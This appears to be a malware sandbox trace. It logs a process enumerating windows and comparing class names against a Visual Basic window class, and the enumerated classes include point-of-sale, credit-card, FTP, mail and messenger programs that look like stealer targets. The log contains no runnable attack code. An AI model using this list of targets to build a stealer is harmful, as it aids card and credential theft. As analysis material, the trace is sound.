GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0094.845] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.845] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0094.845] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0094.845] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0094.846] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.846] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0094.846] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0094.846] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0094.846] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0094.846] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0094.846] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0094.846] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.846] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0094.846] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0094.846] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0094.846] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.846] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.846] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0094.846] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0094.846] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0094.847] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.847] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0094.847] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0094.847] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0094.847] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.847] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0094.847] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0094.847] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0094.847] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.847] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0094.847] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0094.847] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0094.847] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0094.847] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.847] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0094.848] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0094.848] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0094.848] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.848] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0094.848] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0094.848] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0094.848] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.848] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0094.848] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0094.848] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0094.848] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.848] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.848] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0094.848] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0094.849] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0094.849] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.849] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0094.849] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0094.849] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0094.849] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.849] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0094.849] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0094.849] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0094.849] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.849] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0094.849] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0094.849] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0094.849] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0094.850] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0094.850] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0094.850] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0094.850] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0094.850] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0094.850] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0094.850] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0094.850] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0094.850] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0094.850] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0094.850] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.850] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0094.851] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0094.851] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0094.851] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0094.851] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.851] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.851] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0094.851] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0094.851] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0094.851] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0094.851] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.851] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.851] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0094.851] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0094.851] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0094.851] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0094.851] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.851] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.851] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0094.851] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0094.851] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0094.852] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0094.852] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.852] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0094.852] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0094.852] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0094.852] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0094.852] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.852] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0094.852] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0094.852] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0094.852] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0094.852] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.852] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0094.852] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0094.852] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0094.852] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0094.852] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0094.853] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0094.853] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0094.853] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0094.853] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0094.853] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0094.853] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0094.853] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0094.853] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0094.853] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.853] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0094.853] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0094.853] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0094.854] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0094.854] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.854] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.854] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0094.854] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0094.854] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0094.865] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0094.865] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.865] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0094.865] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0094.865] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0094.865] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0094.865] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.865] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0094.865] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0094.865] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0094.866] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0094.866] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0094.866] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0094.866] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0094.866] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0094.866] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0094.866] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0094.866] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0094.866] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0094.866] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0094.866] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0094.867] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0094.867] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0094.867] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0094.867] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0094.867] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0094.867] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0094.867] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0094.867] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0094.867] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.867] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0094.868] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0094.868] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0094.868] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0094.868] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0094.868] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0094.868] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0094.868] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0094.868] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0094.868] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.868] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0094.868] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0094.868] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0094.869] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0094.869] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0094.869] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0094.869] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0094.869] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0094.869] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0094.869] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0094.869] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0094.869] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0094.869] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0094.869] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.873] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.873] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0094.873] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0094.873] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0094.873] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0094.873] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.873] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.873] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0094.873] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0094.873] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0094.873] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0094.873] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.873] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.873] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0094.873] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0094.874] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0094.874] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.874] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0094.874] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0094.874] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0094.874] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.874] lstrcmpA 